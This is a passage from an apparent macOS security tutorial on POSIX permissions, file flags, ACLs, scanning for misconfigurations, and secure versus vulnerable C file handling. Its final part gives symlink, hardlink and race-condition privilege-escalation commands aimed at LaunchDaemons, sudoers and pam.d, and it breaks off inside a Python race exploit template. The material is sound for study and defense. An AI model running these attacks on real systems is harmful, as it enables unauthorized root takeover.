      <td>Create/delete files in directory</td>
    </tr>
    <tr>
      <td>execute</td>
      <td>Traverse directory (access files within)</td>
    </tr>
  </tbody>
</table>

<p><strong>Important Directory Permission Scenarios:</strong></p>

<ol>
  <li><strong>Execute without read</strong>: Can access files if you know the filename, but cannot list directory</li>
  <li><strong>Read without execute</strong>: Can list files but cannot access their contents</li>
  <li><strong>Write permission</strong>: Can delete ANY file in directory regardless of file owner (unless sticky bit is set)</li>
</ol>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Example: Create restricted directory</span>
<span class="nb">mkdir </span>restricted
<span class="nb">echo </span>aaa <span class="o">&gt;</span> restricted/a.txt
<span class="nb">chmod </span><span class="nv">u</span><span class="o">=</span>rwx,g<span class="o">=</span>rwx,o<span class="o">=</span>rwx restricted/a.txt
<span class="nb">chmod </span><span class="nv">u</span><span class="o">=</span>rw,g<span class="o">=</span>rw,o<span class="o">=</span>rw restricted
<span class="nb">cat </span>restricted/a.txt  <span class="c"># Permission denied</span>
</code></pre></div></div>

<h3 id="flag-modifiers">Flag Modifiers</h3>

<h4 id="uchg-uimmutable-flag">uchg (uimmutable) Flag</h4>
<ul>
  <li>File cannot be changed by anyone (including root)</li>
  <li>Root must remove flag before modifying</li>
  <li>Only file owner can change flags</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># List files with flags</span>
<span class="nb">ls</span> <span class="nt">-lO</span> /

<span class="c"># Change flags</span>
chflags <span class="o">[</span>flags] <span class="o">[</span>file]
</code></pre></div></div>

<h4 id="common-flags">Common Flags</h4>

<table>
  <thead>
    <tr>
      <th>Flag</th>
      <th>Description</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">uchg</code> / <code class="language-plaintext highlighter-rouge">uimmutable</code></td>
      <td>File cannot be changed</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">restricted</code></td>
      <td>Protected by SIP, only special processes can modify</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">hidden</code></td>
      <td>Hidden from Finder by default</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">sunlnk</code></td>
      <td>Directory can be unlinked</td>
    </tr>
  </tbody>
</table>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Example listing</span>
drwxr-xr-x@ 8 root wheel restricted 256 Sep 29 2019 System
drwxr-xr-x@ 38 root wheel restricted,hidden 1216 Sep 29 2019 bin
</code></pre></div></div>

<h3 id="sticky-bit">Sticky Bit</h3>

<p>When set on directory, only file owner, directory owner, or root can rename/delete files.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># /tmp has sticky bit set</span>
drwxrwxrwt  user group  /tmp
</code></pre></div></div>

<p><strong>Effect</strong>: User A creates file in <code class="language-plaintext highlighter-rouge">/tmp</code>, User B cannot delete it even with write access to <code class="language-plaintext highlighter-rouge">/tmp</code></p>

<h3 id="access-control-lists-acls">Access Control Lists (ACLs)</h3>

<p>More granular permissions than POSIX model.</p>

<h4 id="directory-specific-acl-permissions">Directory-Specific ACL Permissions</h4>

<table>
  <thead>
    <tr>
      <th>Permission</th>
      <th>Description</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">list</code></td>
      <td>List directory entries</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">search</code></td>
      <td>Look up files by name</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">add_file</code></td>
      <td>Add a file</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">add_subdirectory</code></td>
      <td>Add a subdirectory</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">delete_child</code></td>
      <td>Delete contained object</td>
    </tr>
  </tbody>
</table>

<h4 id="file-specific-acl-permissions">File-Specific ACL Permissions</h4>

<table>
  <thead>
    <tr>
      <th>Permission</th>
      <th>Description</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">read</code></td>
      <td>Open for reading</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">write</code></td>
      <td>Open for writing</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">append</code></td>
      <td>Write to new areas only</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">execute</code></td>
      <td>Execute as script/program</td>
    </tr>
  </tbody>
</table>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># List ACL entries</span>
<span class="nb">ls</span> <span class="nt">-le</span> ~/Library

<span class="c"># Example output</span>
drwx------+ 31 user staff 992 Oct 21 02:23 Application Support
0: group:everyone deny delete
</code></pre></div></div>

<h2 id="finding-vulnerabilities">Finding Vulnerabilities</h2>

<h3 id="static-analysis">Static Analysis</h3>

<p>Search filesystem for permission misconfigurations without running processes.</p>

<p><strong>Target Scenarios:</strong></p>

<ol>
  <li><strong>File owner is root, directory owner is different</strong>
    <ul>
      <li>If we have write access to directory, can replace file with symlink/hardlink</li>
    </ul>
  </li>
  <li><strong>File owner is root, user’s group has write access to directory</strong>
    <ul>
      <li>Similar to scenario 1, exploit via group membership</li>
    </ul>
  </li>
</ol>

<p><strong>Python Script for Static Analysis:</strong></p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">os</span><span class="p">,</span> <span class="n">stat</span>
<span class="kn">import</span> <span class="nn">socket</span>

<span class="n">project_name</span> <span class="o">=</span> <span class="s">'scan_results'</span>
<span class="n">to_check</span> <span class="o">=</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">]</span>
<span class="n">admin_groups</span> <span class="o">=</span> <span class="p">[</span><span class="mi">20</span><span class="p">,</span> <span class="mi">80</span><span class="p">,</span> <span class="mi">501</span><span class="p">,</span> <span class="mi">12</span><span class="p">,</span> <span class="mi">61</span><span class="p">,</span> <span class="mi">79</span><span class="p">,</span> <span class="mi">81</span><span class="p">,</span> <span class="mi">98</span><span class="p">,</span> <span class="mi">701</span><span class="p">,</span> <span class="mi">702</span><span class="p">,</span> <span class="mi">703</span><span class="p">,</span> <span class="mi">33</span><span class="p">,</span> <span class="mi">100</span><span class="p">,</span> <span class="mi">204</span><span class="p">,</span> <span class="mi">250</span><span class="p">,</span> <span class="mi">395</span><span class="p">,</span> <span class="mi">398</span><span class="p">,</span> <span class="mi">399</span><span class="p">]</span>

<span class="k">if</span> <span class="mi">1</span> <span class="ow">in</span> <span class="n">to_check</span><span class="p">:</span>
    <span class="n">issues1</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="n">project_name</span> <span class="o">+</span> <span class="s">'_'</span> <span class="o">+</span> <span class="n">socket</span><span class="p">.</span><span class="n">gethostname</span><span class="p">()</span> <span class="o">+</span> <span class="s">'_issues1.txt'</span><span class="p">,</span><span class="s">'w'</span><span class="p">)</span>
<span class="k">if</span> <span class="mi">2</span> <span class="ow">in</span> <span class="n">to_check</span><span class="p">:</span>
    <span class="n">issues2</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="n">project_name</span> <span class="o">+</span> <span class="s">'_'</span> <span class="o">+</span> <span class="n">socket</span><span class="p">.</span><span class="n">gethostname</span><span class="p">()</span> <span class="o">+</span> <span class="s">'_issues2.txt'</span><span class="p">,</span><span class="s">'w'</span><span class="p">)</span>

<span class="k">for</span> <span class="n">root</span><span class="p">,</span> <span class="n">dirs</span><span class="p">,</span> <span class="n">files</span> <span class="ow">in</span> <span class="n">os</span><span class="p">.</span><span class="n">walk</span><span class="p">(</span><span class="s">"/"</span><span class="p">,</span> <span class="n">topdown</span> <span class="o">=</span> <span class="bp">True</span><span class="p">):</span>
    <span class="k">for</span> <span class="n">f</span> <span class="ow">in</span> <span class="n">files</span><span class="p">:</span>
        <span class="n">full_path</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="n">root</span><span class="p">,</span> <span class="n">f</span><span class="p">)</span>
        <span class="n">directory</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="n">dirname</span><span class="p">(</span><span class="n">full_path</span><span class="p">)</span>
        <span class="k">try</span><span class="p">:</span>
            <span class="k">if</span> <span class="mi">1</span> <span class="ow">in</span> <span class="n">to_check</span><span class="p">:</span>
                <span class="c1"># Scenario 1: File owner is root, directory owner is not
</span>                <span class="k">if</span> <span class="p">(</span><span class="n">os</span><span class="p">.</span><span class="n">stat</span><span class="p">(</span><span class="n">full_path</span><span class="p">).</span><span class="n">st_uid</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="ow">and</span> <span class="n">os</span><span class="p">.</span><span class="n">stat</span><span class="p">(</span><span class="n">directory</span><span class="p">).</span><span class="n">st_uid</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">:</span>
                    <span class="k">print</span><span class="p">(</span><span class="s">"[+] Potential issue found, file: %s, directory owner is not root, it's: %s"</span> <span class="o">%</span> <span class="p">(</span><span class="n">full_path</span><span class="p">,</span> <span class="n">os</span><span class="p">.</span><span class="n">stat</span><span class="p">(</span><span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="n">dirname</span><span class="p">(</span><span class="n">full_path</span><span class="p">)).</span><span class="n">st_uid</span><span class="p">))</span>
                    <span class="n">issues1</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="s">"[+] Potential issue found, file: %s, directory owner is not root, it's: %s</span><span class="se">\n</span><span class="s">"</span> <span class="o">%</span> <span class="p">(</span><span class="n">full_path</span><span class="p">,</span> <span class="n">os</span><span class="p">.</span><span class="n">stat</span><span class="p">(</span><span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="n">dirname</span><span class="p">(</span><span class="n">full_path</span><span class="p">)).</span><span class="n">st_uid</span><span class="p">))</span>

            <span class="k">if</span> <span class="mi">2</span> <span class="ow">in</span> <span class="n">to_check</span><span class="p">:</span>
                <span class="c1"># Scenario 2: File owner is root, group has write access
</span>                <span class="k">if</span> <span class="p">(</span><span class="n">os</span><span class="p">.</span><span class="n">stat</span><span class="p">(</span><span class="n">full_path</span><span class="p">).</span><span class="n">st_uid</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="ow">and</span> <span class="p">(</span><span class="n">os</span><span class="p">.</span><span class="n">stat</span><span class="p">(</span><span class="n">directory</span><span class="p">).</span><span class="n">st_gid</span> <span class="ow">in</span> <span class="n">admin_groups</span><span class="p">)</span> <span class="ow">and</span> <span class="p">(</span><span class="n">os</span><span class="p">.</span><span class="n">stat</span><span class="p">(</span><span class="n">directory</span><span class="p">).</span><span class="n">st_mode</span> <span class="o">&amp;</span> <span class="n">stat</span><span class="p">.</span><span class="n">S_IWGRP</span><span class="p">):</span>
                    <span class="k">print</span><span class="p">(</span><span class="s">"[+] Potential issue found, file: %s, group has write access to directory, it's: %s"</span> <span class="o">%</span> <span class="p">(</span><span class="n">full_path</span><span class="p">,</span> <span class="n">os</span><span class="p">.</span><span class="n">stat</span><span class="p">(</span><span class="n">directory</span><span class="p">).</span><span class="n">st_gid</span><span class="p">))</span>
                    <span class="n">issues2</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="s">"[+] Potential issue found, file: %s, group has write access to directory, it's: %s</span><span class="se">\n</span><span class="s">"</span> <span class="o">%</span> <span class="p">(</span><span class="n">full_path</span><span class="p">,</span> <span class="n">os</span><span class="p">.</span><span class="n">stat</span><span class="p">(</span><span class="n">directory</span><span class="p">).</span><span class="n">st_gid</span><span class="p">))</span>
        <span class="k">except</span><span class="p">:</span>
            <span class="k">continue</span>

<span class="k">if</span> <span class="mi">1</span> <span class="ow">in</span> <span class="n">to_check</span><span class="p">:</span>
    <span class="n">issues1</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
<span class="k">if</span> <span class="mi">2</span> <span class="ow">in</span> <span class="n">to_check</span><span class="p">:</span>
    <span class="n">issues2</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
</code></pre></div></div>

<h3 id="dynamic-analysis">Dynamic Analysis</h3>

<p>Monitor file operations in real-time to catch temporary vulnerabilities.</p>

<p><strong>Tools:</strong></p>
<ul>
  <li><strong>FileMonitor</strong> by Patrick Wardle (Endpoint Security framework)</li>
  <li><strong>fs_usage</strong> (built-in)</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Run FileMonitor with pretty output</span>
<span class="nb">sudo</span> /Applications/FileMonitor.app/Contents/MacOS/FileMonitor <span class="nt">-pretty</span>

<span class="c"># Example output shows:</span>
<span class="c"># - Process information</span>
<span class="c"># - User ID</span>
<span class="c"># - File paths</span>
<span class="c"># - Timestamps</span>
<span class="c"># - Code signature details</span>
</code></pre></div></div>

<p><strong>Advantages:</strong></p>
<ul>
  <li>Catches temporary file operations</li>
  <li>Detects files with changing ownership</li>
  <li>Real-time monitoring</li>
</ul>

<hr />

<h2 id="exploitable-conditions">Exploitable Conditions</h2>

<h3 id="general-attack-strategy">General Attack Strategy</h3>

<ol>
  <li>Identify root process writing to user-writable directory</li>
  <li>Delete target file</li>
  <li>Replace with symlink/hardlink pointing to protected location</li>
  <li>Trigger file operation</li>
  <li>Modify protected target file/directory</li>
</ol>

<h3 id="common-issues">Common Issues</h3>

<table>
  <thead>
    <tr>
      <th>Issue</th>
      <th>Exploitable?</th>
      <th>Notes</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Process sandboxed</td>
      <td>❌</td>
      <td>Cannot write to interesting locations</td>
    </tr>
    <tr>
      <td>Process doesn’t follow links</td>
      <td>❌</td>
      <td>Overwrites link with new file</td>
    </tr>
    <tr>
      <td>File created as root, can’t modify</td>
      <td>⚠️</td>
      <td>May still exploit if we control write content</td>
    </tr>
  </tbody>
</table>

<h3 id="symlink-vs-hardlink">Symlink vs Hardlink</h3>

<p><strong>Symlinks:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">ln</span> <span class="nt">-s</span> /target/path /link/location
</code></pre></div></div>
<ul>
  <li>Pointer to another file path</li>
  <li>Can point to directories</li>
  <li>May not be followed by all operations</li>
</ul>

<p><strong>Hardlinks:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">ln</span> /existing/file /new/link
</code></pre></div></div>
<ul>
  <li>Direct reference to file inode</li>
  <li>Cannot link directories</li>
  <li>Both paths reference same file</li>
  <li>Works with empty files for some exploits</li>
</ul>

<hr />

<h2 id="links-attacks">Links Attacks</h2>

<h3 id="vulnerability-conditions-table">Vulnerability Conditions Table</h3>

<table>
  <thead>
    <tr>
      <th>Condition</th>
      <th>Symlink</th>
      <th>Hardlink</th>
      <th>Race Required</th>
      <th>Exploitability</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Root process writes to user-owned directory</td>
      <td>✅</td>
      <td>✅</td>
      <td>Medium</td>
      <td>High</td>
    </tr>
    <tr>
      <td>Root process writes to <code class="language-plaintext highlighter-rouge">/tmp/</code> with predictable name</td>
      <td>✅</td>
      <td>✅</td>
      <td>Low-Medium</td>
      <td>Very High</td>
    </tr>
    <tr>
      <td>Group-writable directory with root-owned files</td>
      <td>✅</td>
      <td>✅</td>
      <td>Low</td>
      <td>High</td>
    </tr>
    <tr>
      <td>Installer writes temp files to <code class="language-plaintext highlighter-rouge">/tmp/</code></td>
      <td>✅</td>
      <td>✅</td>
      <td>High</td>
      <td>Very High</td>
    </tr>
    <tr>
      <td>Periodic scripts process user-controlled content</td>
      <td>✅</td>
      <td>❌</td>
      <td>None</td>
      <td>Critical</td>
    </tr>
    <tr>
      <td>Log files in user-writable directories</td>
      <td>✅</td>
      <td>✅</td>
      <td>Low</td>
      <td>Medium-High</td>
    </tr>
    <tr>
      <td>Directory writable by admin group</td>
      <td>✅</td>
      <td>✅</td>
      <td>Low</td>
      <td>High (admin→root)</td>
    </tr>
    <tr>
      <td>Process follows symlinks without validation</td>
      <td>✅</td>
      <td>N/A</td>
      <td>None</td>
      <td>High</td>
    </tr>
    <tr>
      <td>Process creates files then chmod/chown</td>
      <td>✅</td>
      <td>✅</td>
      <td>Very High</td>
      <td>Medium</td>
    </tr>
  </tbody>
</table>

<h3 id="detection-methods">Detection Methods</h3>

<h4 id="1-static-analysis-detection">1. Static Analysis Detection</h4>

<p><strong>Objective:</strong> Find permission misconfigurations at rest</p>

<p><strong>Method 1: Root-owned files in non-root directories</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>find / <span class="nt">-type</span> f <span class="nt">-user</span> root 2&gt;/dev/null | <span class="k">while </span><span class="nb">read </span>file<span class="p">;</span> <span class="k">do
    </span><span class="nb">dir</span><span class="o">=</span><span class="si">$(</span><span class="nb">dirname</span> <span class="s2">"</span><span class="nv">$file</span><span class="s2">"</span><span class="si">)</span>
    <span class="nv">dir_owner</span><span class="o">=</span><span class="si">$(</span><span class="nb">stat</span> <span class="nt">-f</span> <span class="s2">"%u"</span> <span class="s2">"</span><span class="nv">$dir</span><span class="s2">"</span><span class="si">)</span>
    <span class="k">if</span> <span class="o">[</span> <span class="s2">"</span><span class="nv">$dir_owner</span><span class="s2">"</span> <span class="o">!=</span> <span class="s2">"0"</span> <span class="o">]</span><span class="p">;</span> <span class="k">then
        </span><span class="nb">echo</span> <span class="s2">"Potential vuln: </span><span class="nv">$file</span><span class="s2"> (dir owner: </span><span class="nv">$dir_owner</span><span class="s2">)"</span>
    <span class="k">fi
done</span>
</code></pre></div></div>

<p><strong>Method 2: Group-writable directories with root files</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>find / <span class="nt">-type</span> d <span class="nt">-perm</span> <span class="nt">-g</span>+w 2&gt;/dev/null | <span class="k">while </span><span class="nb">read dir</span><span class="p">;</span> <span class="k">do
    </span>find <span class="s2">"</span><span class="nv">$dir</span><span class="s2">"</span> <span class="nt">-maxdepth</span> 1 <span class="nt">-type</span> f <span class="nt">-user</span> root 2&gt;/dev/null | <span class="k">while </span><span class="nb">read </span>file<span class="p">;</span> <span class="k">do
        </span><span class="nb">echo</span> <span class="s2">"Potential vuln: </span><span class="nv">$file</span><span class="s2"> in group-writable </span><span class="nv">$dir</span><span class="s2">"</span>
    <span class="k">done
done</span>
</code></pre></div></div>

<p><strong>Method 3: Predictable temp file locations</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Search for hardcoded temp paths in binaries</span>
strings /path/to/binary | <span class="nb">grep</span> <span class="nt">-E</span> <span class="s2">"^/tmp/|^/var/tmp/"</span>

<span class="c"># Search in scripts</span>
<span class="nb">grep</span> <span class="nt">-r</span> <span class="s2">"/tmp/"</span> /usr/local/bin/ 2&gt;/dev/null
<span class="nb">grep</span> <span class="nt">-r</span> <span class="s2">"/tmp/"</span> /Library/Scripts/ 2&gt;/dev/null
</code></pre></div></div>

<p><strong>Method 4: Check installer packages</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Extract installer scripts</span>
pkgutil <span class="nt">--expand</span> package.pkg extracted/
<span class="nb">cat </span>extracted/<span class="k">*</span>/Scripts/postinstall

<span class="c"># Look for:</span>
<span class="c"># - cp commands to protected locations</span>
<span class="c"># - Temp file usage</span>
<span class="c"># - Missing ownership checks</span>
</code></pre></div></div>

<h4 id="2-dynamic-analysis-detection">2. Dynamic Analysis Detection</h4>

<p><strong>Method 1: FileMonitor (Real-time)</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Monitor all file operations</span>
<span class="nb">sudo</span> /Applications/FileMonitor.app/Contents/MacOS/FileMonitor <span class="nt">-pretty</span>

<span class="c"># Filter for root processes writing to /tmp</span>
<span class="nb">sudo</span> /Applications/FileMonitor.app/Contents/MacOS/FileMonitor <span class="nt">-filter</span> <span class="s1">'{"user": 0, "path": "/tmp/"}'</span>
</code></pre></div></div>

<p><strong>Method 2: fs_usage (Built-in)</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Monitor file system calls by specific process</span>
<span class="nb">sudo </span>fs_usage <span class="nt">-w</span> <span class="nt">-f</span> filesys | <span class="nb">grep</span> <span class="nt">-E</span> <span class="s2">"open|write|create"</span>

<span class="c"># Monitor all root operations</span>
<span class="nb">sudo </span>fs_usage <span class="nt">-w</span> <span class="nt">-f</span> filesys | <span class="nb">grep</span> <span class="s2">"root"</span>
</code></pre></div></div>

<p><strong>Method 3: opensnoop (DTrace)</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Trace file opens by all processes</span>
<span class="nb">sudo </span>opensnoop <span class="nt">-v</span>

<span class="c"># Trace specific process</span>
<span class="nb">sudo </span>opensnoop <span class="nt">-n</span> processname
</code></pre></div></div>

<p><strong>Method 4: Custom dtrace script</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># monitor_writes.d</span>
<span class="c">#!/usr/sbin/dtrace -s</span>

syscall::write<span class="k">*</span>:entry
/uid <span class="o">==</span> 0/
<span class="o">{</span>
    <span class="nb">printf</span><span class="o">(</span><span class="s2">"Root write: %s -&gt; %s</span><span class="se">\n</span><span class="s2">"</span>, execname, copyinstr<span class="o">(</span>arg0<span class="o">))</span><span class="p">;</span>
<span class="o">}</span>
</code></pre></div></div>

<h4 id="3-code-review-detection">3. Code Review Detection</h4>

<p><strong>Vulnerable Patterns:</strong></p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// VULNERABLE: Predictable path</span>
<span class="kt">FILE</span> <span class="o">*</span><span class="n">f</span> <span class="o">=</span> <span class="n">fopen</span><span class="p">(</span><span class="s">"/tmp/myapp.log"</span><span class="p">,</span> <span class="s">"w"</span><span class="p">);</span>

<span class="c1">// VULNERABLE: TOCTOU (Time Of Check Time Of Use)</span>
<span class="k">if</span> <span class="p">(</span><span class="n">access</span><span class="p">(</span><span class="n">file</span><span class="p">,</span> <span class="n">W_OK</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
    <span class="c1">// Race window here!</span>
    <span class="n">fd</span> <span class="o">=</span> <span class="n">open</span><span class="p">(</span><span class="n">file</span><span class="p">,</span> <span class="n">O_WRONLY</span><span class="p">);</span>
<span class="p">}</span>

<span class="c1">// VULNERABLE: Follows symlinks</span>
<span class="n">fd</span> <span class="o">=</span> <span class="n">open</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="n">O_WRONLY</span> <span class="o">|</span> <span class="n">O_CREAT</span><span class="p">,</span> <span class="mo">0644</span><span class="p">);</span>

<span class="c1">// VULNERABLE: Changes permissions after creation</span>
<span class="n">fd</span> <span class="o">=</span> <span class="n">open</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="n">O_WRONLY</span> <span class="o">|</span> <span class="n">O_CREAT</span><span class="p">,</span> <span class="mo">0644</span><span class="p">);</span>
<span class="n">chmod</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="mo">0644</span><span class="p">);</span>
<span class="n">chown</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>  <span class="c1">// Race window!</span>
</code></pre></div></div>

<p><strong>Safe Patterns:</strong></p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// SAFE: Use mkstemp</span>
<span class="kt">char</span> <span class="n">template</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"/tmp/myapp.XXXXXX"</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">fd</span> <span class="o">=</span> <span class="n">mkstemp</span><span class="p">(</span><span class="n">template</span><span class="p">);</span>

<span class="c1">// SAFE: Don't follow symlinks</span>
<span class="n">fd</span> <span class="o">=</span> <span class="n">open</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="n">O_WRONLY</span> <span class="o">|</span> <span class="n">O_CREAT</span> <span class="o">|</span> <span class="n">O_EXCL</span> <span class="o">|</span> <span class="n">O_NOFOLLOW</span><span class="p">,</span> <span class="mo">0644</span><span class="p">);</span>

<span class="c1">// SAFE: Atomic check</span>
<span class="k">struct</span> <span class="n">stat</span> <span class="n">sb</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">lstat</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">sb</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span> <span class="o">&amp;&amp;</span> <span class="n">S_ISLNK</span><span class="p">(</span><span class="n">sb</span><span class="p">.</span><span class="n">st_mode</span><span class="p">))</span> <span class="p">{</span>
    <span class="c1">// It's a symlink, abort</span>
<span class="p">}</span>
</code></pre></div></div>

<h3 id="exploitation-methods">Exploitation Methods</h3>

<h4 id="method-1-simple-symlink-attack">Method 1: Simple Symlink Attack</h4>

<p><strong>Scenario:</strong> Root process writes to predictable path in <code class="language-plaintext highlighter-rouge">/tmp/</code></p>

<p><strong>Steps:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># 1. Create symlink before process runs</span>
<span class="nb">ln</span> <span class="nt">-s</span> /Library/LaunchDaemons/evil.plist /tmp/predictable.log

<span class="c"># 2. Trigger process (installer, scheduled task, etc.)</span>
<span class="c"># Process writes to /tmp/predictable.log</span>
<span class="c"># Actually writes to /Library/LaunchDaemons/evil.plist</span>

<span class="c"># 3. Content must be valid for target (PLIST, script, etc.)</span>
</code></pre></div></div>

<p><strong>Example Target Locations:</strong></p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">/Library/LaunchDaemons/*.plist</code> - Root persistence</li>
  <li><code class="language-plaintext highlighter-rouge">/etc/sudoers.d/</code> - Password bypass</li>
  <li><code class="language-plaintext highlighter-rouge">/etc/periodic/daily/</code> - Scheduled execution</li>
  <li><code class="language-plaintext highlighter-rouge">/etc/pam.d/</code> - Authentication bypass</li>
  <li><code class="language-plaintext highlighter-rouge">~/.ssh/authorized_keys</code> - SSH access</li>
</ul>

<h4 id="method-2-hardlink-attack">Method 2: Hardlink Attack</h4>

<p><strong>Scenario:</strong> Process creates empty file then writes to it</p>

<p><strong>Steps:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># 1. Process creates empty file</span>
<span class="c"># touch /tmp/logfile</span>

<span class="c"># 2. We create hardlink to existing file</span>
<span class="nb">ln</span> /etc/some_config /tmp/logfile

<span class="c"># 3. Process writes to /tmp/logfile</span>
<span class="c"># Both paths now contain the same content</span>

<span class="c"># Advantage: Works even if process doesn't follow symlinks</span>
</code></pre></div></div>

<p><strong>Use Cases:</strong></p>
<ul>
  <li>Overwrite configuration files</li>
  <li>Inject into log files that get processed</li>
  <li>Modify files we can’t normally write</li>
</ul>

<h4 id="method-3-race-condition-attack">Method 3: Race Condition Attack</h4>

<p><strong>Scenario:</strong> Installer creates directory structure in <code class="language-plaintext highlighter-rouge">/tmp/</code></p>

<p><strong>Attack Flow:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Continuous loop - create structure before installer</span>
<span class="k">while </span><span class="nb">true</span><span class="p">;</span> <span class="k">do
    </span><span class="nb">mkdir</span> <span class="nt">-p</span> /tmp/installer/config/

    <span class="c"># Check if installer created root-owned file</span>
    <span class="k">if</span> <span class="o">[</span> <span class="nt">-f</span> /tmp/installer/config/app.conf <span class="o">]</span> <span class="o">&amp;&amp;</span> <span class="o">[</span> <span class="s2">"</span><span class="si">$(</span><span class="nb">stat</span> <span class="nt">-f</span> %u /tmp/installer/config/app.conf<span class="si">)</span><span class="s2">"</span> <span class="o">=</span> <span class="s2">"0"</span> <span class="o">]</span><span class="p">;</span> <span class="k">then</span>
        <span class="c"># Installer won the race, delete and replace</span>
        <span class="nb">rm</span> /tmp/installer/config/app.conf
        <span class="nb">ln</span> <span class="nt">-s</span> /Library/LaunchDaemons/evil.plist /tmp/installer/config/app.conf
    <span class="k">fi
done</span>
</code></pre></div></div>

<p><strong>Python Race Exploit Template:</strong></p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">os</span>
<span class="kn">import</span> <span class="nn">time</span>
<span class="kn">import</span> <span class="nn">shutil</span>

<span class="n">TARGET_DIR</span> <span class="o">=</span> <span class="s">"/tmp/vulnerable_installer/"</span>
<span class="n">TARGET_FILE</span> <span class="o">=</span> <span class="n">TARGET_DIR</span> <span class="o">+</span> <span class="s">"config.plist"</span>
<span class="n">MALICIOUS_FILE</span> <span class="o">=</span> <span class="s">"/tmp/evil.plist"</span>
<span class="n">FINAL_DESTINATION</span> <span class="o">=</span> <span class="s">"/Library/LaunchDaemons/evil.plist"</span>

<span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
    <span class="k">try</span><span class="p">:</span>
        <span class="c1"># Create directory structure
</span>        <span class="n">os</span><span class="p">.</span><span class="n">makedirs</span><span class="p">(</span><span class="n">TARGET_DIR</span><span class="p">,</span> <span class="n">exist_ok</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>

        <span class="c1"># Check if installer created the file as root
